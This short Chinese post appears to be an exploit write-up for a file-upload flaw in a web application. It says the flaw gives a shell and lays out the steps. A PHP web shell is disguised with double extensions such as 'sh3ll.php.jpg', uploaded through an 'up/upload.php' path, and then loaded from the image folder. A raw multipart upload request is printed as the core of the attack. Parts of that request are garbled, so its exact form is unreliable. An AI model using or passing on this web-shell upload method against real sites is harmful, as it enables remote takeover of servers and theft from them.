这个网页漏洞比较严重，可以直接获取shell，下面给出漏洞利用方法
  
漏洞信息：
 
 
可以任意上传PHP，TXT，JPG，PNG格式文件
change your shell to sh3ll.php.jpg or sh3ll.php%0%0.1.jpg
 
 
利用:
 
 
www.2cto.com /[dir]/up/upload.php
 
加载的文件:
 
www.2cto.com /[dir]/up/img/Sh3ll.php.jpg
 
 
 
漏洞核心代码：
 114782935826962\r\nContent-Disposition: form-data;
 
name="MAX_FILE_SIZE"\r\n\r\n1048576\r\n-1147829358
26962\r\nContent-Disposition: form-data;name="upfile";
filename="sh3ll.php.jpg"\r\nContent-Type: text/plain\r\n\r\n\r\n
-----------------------------114782935826962\r\nContent-Disposition:
form-data; name="pass"\r\n\r\n\r\n--114782935826962\r\nContent-Disposition:form-data;
name="com"\r\n\r\n\r\n-----------------------------114782935826962--\r\n